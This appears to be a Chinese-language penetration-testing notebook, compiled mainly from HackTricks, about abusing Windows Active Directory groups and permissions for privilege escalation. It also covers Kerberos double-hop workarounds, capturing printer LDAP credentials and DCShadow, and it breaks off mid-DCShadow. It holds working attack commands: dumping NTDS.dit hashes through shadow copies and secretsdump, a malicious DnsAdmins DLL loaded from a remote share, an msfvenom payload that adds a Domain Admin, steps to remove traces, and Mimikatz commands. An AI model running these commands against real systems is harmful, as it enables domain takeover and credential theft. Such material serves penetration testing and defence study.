  • SeBackupPrivilege 和 SeRestorePrivilege

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#serestoreprivilege-3.1.5

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#sebackupprivilege-3.1.4

  • 控制本地服务

当用户没有加入Server Operators组时,无法访问域控的资源。

y22iuywhbra12253.png

将该用户加入Server Operators组,发现权限提升。

fibl1byj2dv12256.png

l1ikrmrmob012260.png

Get-NetGroupMember -Identity "Server Operators" -Recurse

Privesc

使用来自Sysinternals的PsService(PsTools)或sc工具来检查服务的权限。

https://learn.microsoft.com/en-us/sysinternals/downloads/psservice

C:\> .\PsService.exe security AppReadiness

PsService v2.25 - Service information and configuration utility

Copyright (C) 2001-2010 Mark Russinovich

Sysinternals - www.sysinternals.com

[...]

[ALLOW] BUILTIN\Server Operators

All

这确认了Server Operators组具有SERVICE_ALL_ACCESS访问权限,这使我们能够完全控制此服务。

您可以滥用此服务,使该服务执行任意命令并提升权限。

Backup Operators

与Server Operators成员身份一样,如果我们属于Backup Operators,则可以访问域控的文件系统。

j13s4j3o1db12267.png

sveqghjodet12273.png

Backup Operators组授予其成员SeBackupSeRestore特权。 SeBackupPrivilege使我们能够遍历任何文件夹并列出文件夹内容。这将让我们从文件夹中复制文件,即使没有其他权限也可以执行。

然而,为了滥用此权限来复制文件,则必须使用标志FILE_FLAG_BACKUP_SEMANTICS ****。因此需要使用特殊工具。

https://github.com/giuliano108/SeBackupPrivilege

# Import libraries

Import-Module .\SeBackupPrivilegeUtils.dll

Import-Module .\SeBackupPrivilegeCmdLets.dll

Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup SeBackupPrivilege is disabled

# Enable SeBackupPrivilege

Set-SeBackupPrivilege

Get-SeBackupPrivilege

# List Admin folder for example and steal a file

dir C:\Users\Administrator\

Copy-FileSeBackupPrivilege C:\Users\Administrator\\report.pdf c:\temp\x.pdf -Overwrite

当然,也可以滥用这个访问权限来窃取活动目录数据库NTDS.dit,以获取域中所有用户和计算机对象的所有NTLM散列值。

使用diskshadow工具,您可以在C盘(或其他位置)创建一个卷影副本,例如在F盘上。然后,您可以从该卷影副本中窃取NTDS.dit文件,因为系统不会使用它。

https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow

diskshadow.exe

Microsoft DiskShadow version 1.0

Copyright (C) 2013 Microsoft Corporation

On computer: DC, 10/14/2020 10:34:16 AM

DISKSHADOW> set verbose on

DISKSHADOW> set metadata C:\Windows\Temp\meta.cab

DISKSHADOW> set context clientaccessible

DISKSHADOW> set context persistent

DISKSHADOW> begin backup

DISKSHADOW> add volume C: alias cdrive

DISKSHADOW> create

DISKSHADOW> expose %cdrive% F:

DISKSHADOW> end backup

DISKSHADOW> exit

再使用上面的方法,获取访问文件的权限后,提取ntds.dit。

Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

或者使用另一种方式复制文件,当然前提是SeBackupPrivilege功能为开启状态。

robocopy /B F:\Windows\NTDS .\ntds ntds.dit

reg save HKLM\SYSTEM SYSTEM.SAV

reg save HKLM\SAM SAM.SAV

secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

DnsAdmins

属于DNSAdmins组或具有对DNS服务器对象的写权限的用户可以使用SYSTEM特权在DNS服务器上加载任意DLL。大部分情况下DNS服务器也是建立在域控机器上。

根据这篇文章所示,当DNS运行在域控制器上时(这是非常常见的情况),可以执行以下攻击:

  1. DNS管理是通过RPC进行的。
  2. ServerLevelPluginDll允许我们加载一个自定义的DLL,并且不验证DLL路径。可以使用命令行工具dnscmd来完成此操作。
  3. 当DnsAdmins组的成员运行下面的dnscmd命令时,注册表键将被填充。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll

  1. 当DNS服务重新启动时,将加载该路径中的DLL(例如,域控制器的机器帐户可以访问的网络共享)。
  2. 攻击者可以加载一个自定义的DLL以获取反向shell,甚至加载像Mimikatz这样的工具作为DLL来转储凭据。

如前所述,我们需要构建一个 DNS 插件 DLL,将其注入到受害者 DNS 服务器 (DC) 上的 dns.exe 进程中。

如果您在 DNSAdmins 组中有一个用户,则可以使 DNS 服务器使用 SYSTEM 特权加载任意 DLL(DNS 服务以 NT AUTHORITY\SYSTEM 运行)。您可以通过执行以下命令使 DNS 服务器加载本地或远程(通过 SMB 共享的)DLL 文件。

dnscmd是一个 Windows 实用程序,允许有DnsAdmins权限的人管理 DNS 服务器。可以通过添加DNS Server Tools到您的系统来安装该实用程序,如下面的屏幕截图所示。

rupj3e4ajhn12278.png

//dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll

//dnscmd [dc.computername] /config /serverlevelplugindll \1.2.3.4\share\DNSAdmin-DLL.dll

//注意,远程加载DLL不能使用$符号进行加载,例如\\10.10.10.10\c$\1.dll,这样是无法成功加载的。

示例DLL:https://github.com/kazkansouh/DNSAdmin-DLL

修改恶意代码为如下。

hsqun1jdatj12284.png

加载DLL。

dnscmd ad-1-2016 /config /serverlevelplugindll \\10.10.10.106\c$\Users\man12\Desktop\DNSAdmin-DLL.dll

doophb1vswy12290.png

在默认情况下在 DNSAdmin 组中具有用户,也无法停止和重新启动 DNS 服务。但您可以尝试执行如下命令。

sc.exe \\ad-1-2016 stop dns

sc.exe \\ad-1-2016 start dns

xccoacxzpdg12296.png

tj2eezi50jt12299.png

提权成功后可以清除DNSAdminis后门。

reg query \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters

reg delete \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll

sc.exe \\10.0.0.6 stop dns

sc.exe \\10.0.0.6 start dns

//remove any other traces/logs

当然,也可以使用 msfvenom 生成 dll,弹shell到目标机器,或者执行命令。

msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

mimilib.dll

正如下面这篇文章中详细描述的那样,还可以使用 Mimikatz 工具的创建者提供的 mimilib.dll 来修改 kdns.c 文件,以执行逆向 shell 或其他我们选择的命令来获取命令执行权限。

http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html

rtgkupxmdwe12306.png

中间人攻击的 WPAD 记录

滥用 DnsAdmins 组权限的另一种方式是创建一个 WPAD 记录。

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks

https://learn.microsoft.com/en-us/powershell/module/dnsserver/set-dnsserverglobalqueryblocklist?view=windowsserver2019-ps

在该组中的成员具有禁用全局查询阻止安全性的权限,而默认情况下会阻止此类攻击。Server 2008 首次引入了在 DNS 服务器上添加到全局查询阻止列表的功能。默认情况下,Web 代理自动发现协议(WPAD)和站内自动隧道寻址协议(ISATAP)在全局查询阻止列表中。这些协议非常容易被劫持,任何域用户都可以创建包含这些名称的计算机对象或 DNS 记录。

在禁用全局查询阻止列表并创建 WPAD 记录之后,使用默认设置运行 WPAD 的每台计算机的流量都将通过我们的攻击机器进行代理。我们可以使用工具如 Responder 或 Inveigh 进行流量欺骗,并尝试捕获密码哈希并在离线状态下破解,或者进行 SMBRelay 攻击。

https://github.com/lgandx/Responder

https://github.com/Kevin-Robertson/Inveigh

Event Log Readers

Event Log Readers组的成员具有访问生成的事件日志(例如新进程创建日志)的权限。在这些日志中可能包含敏感信息。让我们来看看如何可视化这些日志。

Get members of the group

Get-NetGroupMember -Identity "Event Log Readers" -Recurse

Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Event Log Readers"

# To find "net [...] /user:blahblah password"

wevtutil qe Security /rd:true /f:text | Select-String "/user"

# Using other users creds

wevtutil qe Security /rd:true /f:text /r:share01 /u:<username> /p:<pwd> | findstr "/user"

# Search using PowerShell

Get-WinEvent -LogName security [-Credential $creds] | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

Exchange Windows Permissions

Exchange Windows Permissions是指Exchange在Windows环境中的权限。成员被授予编写DACL(Discretionary Access Control List)到域对象的权限。攻击者可以滥用这一权限,赋予用户DCSync特权。

如果在AD环境中安装了Microsoft Exchange,通常会发现用户帐户甚至计算机作为该组的成员。

这个GitHub存储库解释了滥用这个组权限来提升权限的一些技术。

https://github.com/gdedrouas/Exchange-AD-Privesc

Get members of the group

Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V Administrators

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-lab-with-hyper-v-and-powershell

Hyper-V管理员组对所有Hyper-V功能具有完全访问权限。如果域控制器已经虚拟化,那么虚拟化管理员应被视为域管理员。他们可以轻松创建一个实时域控制器的克隆,并以离线方式挂载虚拟磁盘以获取NTDS.dit文件,并提取域中所有用户的NTLM密码哈希。

https://decoder.cloud/2020/01/20/from-hyper-v-admin-to-system/

在这个博客上也有详细文档说明,当删除一个虚拟机时,vmms.exe会尝试以NT AUTHORITY\SYSTEM身份恢复相应的.vhdx文件的原始文件权限,而无需模拟用户。我们可以删除.vhdx文件,并创建一个本地的硬链接,将此文件指向一个受保护的SYSTEM文件,从而获得完全权限。

如果操作系统存在CVE-2018-0952或CVE-2019-0841漏洞,我们可以利用其来获取SYSTEM特权。否则,我们可以尝试利用服务器上安装了以SYSTEM上下文运行的服务的应用程序,这些服务可被非特权用户启动。

利用示例 一个例子是Firefox,它安装了Mozilla Maintenance Service。我们可以更新这个漏洞(一个用于NT硬链接的概念证明),以授予当前用户对以下文件的完全权限:

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

获取文件所有权

运行PowerShell脚本后,我们应该对此文件拥有完全控制权,并可以获取其所有权。

C:\htb> takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

启动Mozilla

Maintenance Service 接下来,我们可以使用一个恶意的maintenanceservice.exe替换这个文件,启动维护服务,并以SYSTEM身份执行命令。

C:\htb> sc.exe start MozillaMaintenance

注意:这个漏洞已通过2020年3月的Windows安全更新进行了缓解,该更新改变了与硬链接相关的行为。

Organization Management

该组也存在安装了Microsoft Exchange的环境中。

该组的成员可以访问所有域用户的邮箱。

该组还对名为Microsoft Exchange Security Groups的OU具有完全控制权限,其中包含了组Exchange Windows Permissions。

Print Operators

该组的成员被授予以下权限:

  • SeLoadDriverPrivilege
  • 在本地登录到域控制器并关闭它
  • 管理、创建、共享和删除连接到域控制器的打印机的权限

如果从非提升的上下文中运行 whoami /priv 命令未显示 SeLoadDriverPrivilege,则需要绕过UAC。

获取该组的成员。

Get-NetGroupMember -Identity "Print Operators" -Recurse

请在此页面中查看如何滥用 SeLoadDriverPrivilege 进行权限提升:

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege

Remote Desktop Users

此组的成员可以通过RDP访问PC。

获取组成员。

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse

Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

https://book.hacktricks.xyz/network-services-pentesting/pentesting-rdp

Remote Management Users

此组的成员可以通过WinRM访问PC。

Get-NetGroupMember -Identity "Remote Management Users" -Recurse

Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm

Kerberos双跳问题

Kerberos双跳是用来描述我们在两个或多个连接上维护客户端Kerberos身份验证凭据的方法。通过这种方式,我们可以保留用户的凭据,并代表用户在与其他服务器进行进一步连接时进行操作。

Kerberos TGT是用户的身份标识。当我们将该票证与服务票证一起传递时,我们可以重新使用KrbTGT请求其他服务票证,以便在我们的网络上与我们的服务资源进行通信。

执行Kerberos双跳需要满足一些要求。服务账户需要被信任以进行委派,也就是说它必须被信任代表其他用户执行操作。源服务器和目标服务器必须在同一个域中,或者在不同域之间存在森林级别的信任关系,并且第一级服务账户必须位于受信任的域根目录中。

Kerberos双跳流程:

第一步 - 客户端提供凭据,域控制器向客户端返回一个Kerberos TGT(票证授予票)。

第二步 - 客户端使用TGT请求一个服务票证,以连接到服务器1。

第三步 - 客户端连接到服务器1,并提供TGT和服务票证。

第四步 - 服务器1使用客户端的TGT请求一个服务票证,以便服务器1可以连接到服务器2。

第五步 - 服务器1使用客户端的凭据连接到服务器2。

也就是说,当我们使用凭据,例如使用powershell进行远程连接机器A,然后在机器A上直接使用之前验证的凭据访问服务B。

具体实例:

客户端运行IE7,并连接到一个使用Windows身份验证的Web服务器。客户端机器需要是域或受信任域的成员,并且需要启用集成的Windows身份验证。

Web服务器机器名为WEB1.mydomain.com,并且使用一个服务账户mydomain\webadmin。webadmin账户已经为HTTP/WEB1和HTTP/WEB1.mydomain.com注册了SPN(服务主体名称)。webadmin账户已经启用了对MSSQLSVC/SQL1.mydomain.com的受限委派。

SQL服务器的机器名为SQL1.mydomain.com,其SQL服务的服务账户为mydomain\sqladmin。sqladmin账户已经为MSSQLSVC/SQL1.mydomain.com注册了SPN。

在上述示例配置中,客户端正在连接http://web1,以便访问存储在后端SQL服务器SQL1上的数据。Web页面托管了从SQL检索数据的代码。用户账户用于对Web服务器进行身份验证。Web服务器利用其受限委派功能,代表用户请求Kerberos票证,以连接到SQL1。如果我们审计这些连接,我们将看到用户账户被用于访问Web页面和SQL服务器上的数据。这是一个典型的Kerberos双跳的示例,但我们可以很容易地扩展该场景以包含更多的跳转。理论上,只要我们启用了委派并保留了正确的服务主体名称注册,我们可以不断扩展这个示例。

双跳问题

使用2016-WSUS机器使用管理员账户远程连接WEB-2012机器,再使用之前认证的凭据连接AD-2016。

//交互式

Enter-PSSession -ComputerName web-2012.vvvv1.com -Credential VVVV1\administrator
//非交互

Invoke-Command-ComputerName <计算机名或IP地址> -Credential <凭据> -ScriptBlock { # 在此处输入您要在远程主机上执行的命令 }

m1u3qktxem412309.png

直接使用该凭据连接AD-2016,发现拒绝访问。

44snbqrjjcm12315.png

因为当通过Kerberos进行身份验证时,凭据不会缓存在内存中。因此,当 web-2012 中的 User1 尝试登录第二台服务器时,他无法进行身份验证。

解决办法
非约束委派

如果机器中启用了无约束委派,则不会发生这种情况,因为服务器将获取每个访问它的用户的TGT。

CredSSP

根据微软的说法: “CredSSP身份验证将用户凭据从本地计算机委派到远程计算机。这种做法增加了远程操作的安全风险。如果远程计算机受到入侵,当凭据传递给它时,这些凭据可以用于控制网络会话。” 如果您发现在生产系统、敏感网络等地方启用了CredSSP,建议将其禁用。可以通过运行Get-WSManCredSSP来快速检查CredSSP的状态。如果启用了WinRM,还可以远程执行此命令。

查看CredSSP的状态。

Invoke-Command -ComputerName web-2012.vvvv1.com -Credential VVVV1\administrator -ScriptBlock { Get-WSManCredSSP }

利用命令:

https://learn.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7.3

开启CredSSP。

Enable-WSManCredSSP -Role "Client" -DelegateComputer "web-2012.vvvv1.com"

Enable-WSManCredSSP -Role "Server"

zqwim5jjiyu12321.png

添加参数-Authentication Credssp,使用Credssp进行认证。

https://blog.idera.com/database-tools/solving-double-hop-remoting-with-credssp

Invoke-Command -ComputerName web-2012.vvvv1.com -Authentication Credssp -Credential VVVV1\administrator -ScriptBlock {dir \\ad-2016.vvvv1.com\c$ }

qfpzwwoxg3412326.png

禁用WSMan CredSSP。

Disable-WSManCredSSP -Role Client

Disable-WSManCredSSP -Role Server

调用命令

其实这就是一个嵌套的Invoke-Command。

这将在第二台服务器上运行:hostname。

$cred=Get-Credential VVVV1\administrator

Invoke-Command -ComputerName web-2012.vvvv1.com -Credential $cred -ScriptBlock{

Invoke-Command -ComputerName ad-2016.vvvv1.com -Credential $Using:cred -ScriptBlock{hostname}

}

或者与第一个服务器建立PS-Session ,然后简单地从那里运行而不是嵌套它。相当于连接到第一个服务器后再保存一个可用的凭据。

# From the WinRM connection

$pwd = ConvertTo-SecureString 'admin!@#45ad' -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential('VVVV1\administrator', $pwd)

# Use "-Credential $cred" option in Powerview commands

qinn4zgttty12330.png

注册会话配置

Enter-PSSession -ComputerName web-2012.vvvv1.com -Credential VVVV1\administrator

# Register a new PS Session configuration

//在server1上运行

Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential VVVV1\administrator

# Restar WinRM

Restart-Service WinRM

# Get a PSSession

Enter-PSSession -ConfigurationName doublehopsess -ComputerName web-2012.vvvv1.com -Credential VVVV1\administrator

# Check that in this case the TGT was sent and is in memory of the PSSession

//凭据被绑定到内存中。

klist

# In this session you won't have the double hop problem anymore

mgnwxio10ge12335.png

端口代理

https://posts.slayerlabs.com/double-hop/

因为我们在中间目标机器 bizintel: 10.35.8.17 上有本地管理员权限,所以可以添加一个端口转发规则,将您的请求发送到最终/第三台服务器 secdev: 10.35.8.23。

您可以使用 netsh 快速提取一个单行命令并添加规则。

netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23

这样 bizintel 将监听端口 5446,并将收到的请求转发到 secdev 的端口 5985(也称为 WinRM)。

然后打开 Windows 防火墙的端口,也可以使用快速 netsh 命令完成。

netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446

现在建立会话,这将将我们转发到 secdev。

dyfoywcttzc12348.png

当使用 winrs.exe 时,端口转发 WinRM 请求似乎也是有效的。如果您意识到 PowerShell 正在被监控,这可能是一个更好的选择。下面的命令将返回 "secdev" 作为主机名的结果。

winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname

与 Invoke-Command 类似,这可以很容易地编写脚本,以便攻击者可以将系统命令作为参数发出。一个通用的批处理脚本示例 winrm.bat:

nchvwixso2h12352.png

OpenSSH

这种方法需要在中间服务器(即 bizintel)上安装 OpenSSH。在 Windows 上安装 OpenSSH 可以完全通过命令行界面进行,并且不需要太多时间 - 而且它不会被标记为恶意软件!

https://github.com/PowerShell/Win32-OpenSSH/wiki/Install-Win32-OpenSSH

当然,在某些情况下,这可能不可行、过于繁琐或可能存在一般的操作安全风险。

在跳板机设置上,这种方法可能特别有用 - 可以访问否则无法访问的网络。建立 SSH 连接后,用户/攻击者可以根据需要启动尽可能多的 New-PSSession 来针对分段网络进行操作,而不会遭遇双跳问题。

当在 OpenSSH 中配置为使用密码身份验证时(而不是密钥或票证),登录类型为 8,即网络明文登录。这并不意味着您的密码以明文形式发送 - 实际上,它是通过 SSH 加密的。到达目的地后,通过其身份验证机制将其解密为明文,供您的会话进一步请求有价值的票证(TGT)!

这使得中间服务器能够代表您请求和获取 TGT,并在中间服务器上本地存储。然后,您的会话可以使用此 TGT 对其他服务器进行身份验证(PS 远程)。

https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera?redirectedfrom=MSDN

OpenSSH 安装场景: 从 GitHub 上下载最新的 OpenSSH 发布压缩包,并将其移到攻击者的机器上(或直接下载到跳板机)。

https://github.com/PowerShell/Win32-OpenSSH/releases

将压缩包解压到您想要的位置。然后,运行安装脚本 - Install-sshd.ps1。

0d3ymasvpd212355.png

最后,只需添加一个防火墙规则来打开端口22。验证 SSH 服务是否已安装并启动它们。这两个服务都需要运行才能使 SSH 正常工作。

cjq3sbon2ak12358.png

如果收到Connection reset错误,请更新权限以允许所有人:在 OpenSSH 根目录上读取和执行。

icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T

csongee2zes12364.png

打印机中的AD信息

互联网上有几篇博客强调了将打印机配置为具有默认/弱登录凭据的 LDAP 的危险性。

这是因为攻击者可以欺骗打印机对一个恶意的 LDAP 服务器进行身份验证(通常 nc -vv -l -p 444 足够),从而在明文中获取打印机凭据。此外,一些打印机可能会包含记录用户名的日志,甚至可以从域控制器上下载所有用户名。所有这些敏感信息以及常见的安全缺失使得打印机对攻击者非常有吸引力。

https://www.ceos3c.com/security/obtaining-domain-credentials-printer-netcat/

https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856

https://grimhacker.com/2018/03/09/just-a-printer/

打印机管理界面

与许多系统类似,Konica Minolta 打印机在端口 80/443 上提供了一个 Web 管理界面。要访问管理设置,需要密码,但不幸的是,对于许多组织而言,它有一个默认密码,可以通过快速的谷歌搜索找到。根据型号的不同,有几种变化,但通常我发现密码是 '1234567812345678' 或 '12345678'。

有各种选项可用,但最近引起我注意的是 LDAP 连接设置。

关于 LDAP 和 AD 的简要说明 "轻型目录访问协议(LDAP)是在 TCP/IP 协议栈之上运行的目录服务协议,它提供了一种用于连接、搜索和修改 Internet 目录的机制。"

https://msdn.microsoft.com/en-us/library/aa367008(v=vs.85).aspx

在 Windows 域环境中,您可以使用 LDAP 与 Active Directory 进行交互。

AD 将允许披露少量信息的 "null bind"(即没有用户名或密码),但不像以前那样会泄露很多信息。为了获取用户列表,必须使用有效的用户名和密码绑定到服务器。

LDAP 设置 在 Konica Minolta 打印机上,可以配置一个 LDAP 服务器进行连接,并提供凭据。在这些设备的早期固件版本中,我听说可以通过阅读页面的 HTML 源代码来恢复凭据。然而,现在凭据不会在界面中返回,所以我们需要更努力一点。

LDAP 服务器列表位于:网络 > LDAP 设置 > 设置 LDAP

界面允许在不重新输入将用于连接的凭据的情况下修改 LDAP 服务器。我猜这是为了更简单的用户体验,但这给了攻击者从打印机的控制权限升级为域的起点的机会。

我们可以将 LDAP 服务器地址设置为我们控制的机器,并使用有用的 "测试连接" 功能触发连接。

监听

正常情况下可以直接使用netcat进行监听获取凭据。

sudo nc -k -v -l -p 386

我发现打印机首先尝试进行一个空绑定(null bind),然后查询可用的信息,只有在这些操作成功后才会使用凭据进行绑定。

我搜索了一下满足要求的简单 LDAP 服务器,但选择似乎有限。最后,我选择设置了一个开放的 LDAP 服务器,并使用 slapd 调试服务器服务来接受连接并打印出打印机的消息。(如果您知道更简单的替代方案,我很乐意听听。)

安装

https://www.server-world.info/en/note?os=Fedora_26&p=openldap

从根终端:

安装 OpenLDAP。

> dnf install -y install openldap-servers openldap-clients

> cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG

> chown ldap. /var/lib/ldap/DB_CONFIG

设置 OpenLDAP 管理员密码(您很快将再次需要此密码)。

> slappasswd

New password:

Re-enter new password:

{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx

> vim chrootpw.ldif

# specify the password generated above for "olcRootPW" section

dn: olcDatabase={0}config,cn=config

changetype: modify

add: olcRootPW

olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx

> ldapadd -Y EXTERNAL -H ldapi:/// -f chrootpw.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

modifying entry "olcDatabase={0}config,cn=config"

导入基本架构。

> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

adding new entry "cn=cosine,cn=schema,cn=config"

> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

adding new entry "cn=nis,cn=schema,cn=config"

> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

adding new entry "cn=inetorgperson,cn=schema,cn=config"

在 LDAP DB 上设置您的域名。

# generate directory manager's password

> slappasswd

New password:

Re-enter new password:

{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx

> vim chdomain.ldif

# specify the password generated above for "olcRootPW" section

dn: olcDatabase={1}monitor,cn=config

changetype: modify

replace: olcAccess

olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth"

read by dn.base="cn=Manager,dc=foo,dc=bar" read by * none

dn: olcDatabase={2}mdb,cn=config

changetype: modify

replace: olcSuffix

olcSuffix: dc=foo,dc=bar

dn: olcDatabase={2}mdb,cn=config

changetype: modify

replace: olcRootDN

olcRootDN: cn=Manager,dc=foo,dc=bar

dn: olcDatabase={2}mdb,cn=config

changetype: modify

add: olcRootPW

olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx

dn: olcDatabase={2}mdb,cn=config

changetype: modify

add: olcAccess

olcAccess: {0}to attrs=userPassword,shadowLastChange by

dn="cn=Manager,dc=foo,dc=bar" write by anonymous auth by self write by * none

olcAccess: {1}to dn.base="" by * read

olcAccess: {2}to * by dn="cn=Manager,dc=foo,dc=bar" write by * read

> ldapmodify -Y EXTERNAL -H ldapi:/// -f chdomain.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

modifying entry "olcDatabase={1}monitor,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

> vim basedomain.ldif

dn: dc=foo,dc=bar

objectClass: top

objectClass: dcObject

objectclass: organization

o: Foo Bar

dc: DC1

dn: cn=Manager,dc=foo,dc=bar

objectClass: organizationalRole

cn: Manager

description: Directory Manager

dn: ou=People,dc=foo,dc=bar

objectClass: organizationalUnit

ou: People

dn: ou=Group,dc=foo,dc=bar

objectClass: organizationalUnit

ou: Group

> ldapadd -x -D cn=Manager,dc=foo,dc=bar -W -f basedomain.ldif

Enter LDAP Password: # directory manager's password

adding new entry "dc=foo,dc=bar"

adding new entry "cn=Manager,dc=foo,dc=bar"

adding new entry "ou=People,dc=foo,dc=bar"

adding new entry "ou=Group,dc=foo,dc=bar"

配置 LDAP TLS

创建和SSL证书

> cd /etc/pki/tls/certs

> make server.key

umask 77 ; \

/usr/bin/openssl genrsa -aes128 2048 > server.key

Generating RSA private key, 2048 bit long modulus

...

...

e is 65537 (0x10001)

Enter pass phrase: # set passphrase

Verifying - Enter pass phrase: # confirm

# remove passphrase from private key

> openssl rsa -in server.key -out server.key

Enter pass phrase for server.key: # input passphrase

writing RSA key

> make server.csr

umask 77 ; \

/usr/bin/openssl req -utf8 -new -key server.key -out server.csr

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [XX]: # country

State or Province Name (full name) []: # state

Locality Name (eg, city) [Default City]: # city

Organization Name (eg, company) [Default Company Ltd]: # company

Organizational Unit Name (eg, section) []:Foo Bar # department

Common Name (eg, your name or your server's hostname) []:www.foo.bar # server's FQDN

Email Address []:xxx@foo.bar # admin email

Please enter the following 'extra' attributes

to be sent with your certificate request

A challenge password []: # Enter

An optional company name []: # Enter

> openssl x509 -in server.csr -out server.crt -req -signkey server.key -days 3650

Signature ok

subject=/C=/ST=/L=/O=/OU=Foo Bar/CN=dlp.foo.bar/emailAddress=xxx@roo.bar

Getting Private key

为 SSL/TLS 配置 Slapd

> cp /etc/pki/tls/certs/server.key \

/etc/pki/tls/certs/server.crt \

/etc/pki/tls/certs/ca-bundle.crt \

/etc/openldap/certs/

> chown ldap. /etc/openldap/certs/server.key \

/etc/openldap/certs/server.crt \

/etc/openldap/certs/ca-bundle.crt

> vim mod_ssl.ldif

# create new

dn: cn=config

changetype: modify

add: olcTLSCACertificateFile

olcTLSCACertificateFile: /etc/openldap/certs/ca-bundle.crt

replace: olcTLSCertificateFile

olcTLSCertificateFile: /etc/openldap/certs/server.crt

replace: olcTLSCertificateKeyFile

olcTLSCertificateKeyFile: /etc/openldap/certs/server.key

> ldapmodify -Y EXTERNAL -H ldapi:/// -f mod_ssl.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

modifying entry "cn=config"

允许 LDAP 通过本地防火墙

firewall-cmd --add-service={ldap,ldaps}

安装并配置 LDAP 服务后,您可以使用以下命令运行它

slapd -d 2

下面的屏幕截图显示了我们在打印机上运行连接测试时的输出示例。正如您所看到的,用户名和密码从 LDAP 客户端传递到服务器。

4l35kyiywpx12369.png

DCShadow

DCShadow通过创建恶意的域控制器,利用域控之间的数据同步复制,将预先设定的对象或对象属性注入正在运行的合法域控制器,以此来创建域后门或者获取各种类型的非法访问渠道。

下面通过DCShadow修改普通域用户man03的primaryGroupID属性演示DCShadow的攻击过程。

primaryGroupID属性指向用户所属的主要组的RID,通过将用户的primaryGroupID改为512,可以让用户成为域管理员。RID指相对标识符,是SID的组成部分,位于SID字符串的末端。Windows系统使用RID来区分用户账户和组,常见系统账户的RID如下图。

i2pcousq5sy12374.png

利用DCShadow
  1. 在域内任意一台主机中上传Mimikatz。打开一个命令行窗口,执行以下命令启动数据更改。该命令行窗口需要为SYSTEM权限,以拥有适当的权限来创建恶意域控制器。

//获取system权限

!+

!processtoken

token::whoami

请注意,elevate :: token 在 mimikatz1 会话中不起作用,因为它仅提升了线程的权限,但我们需要提升进程的权限。

c3dny541to212393.png

//创建恶意域控制器,且修改用户组中man03为域管理员

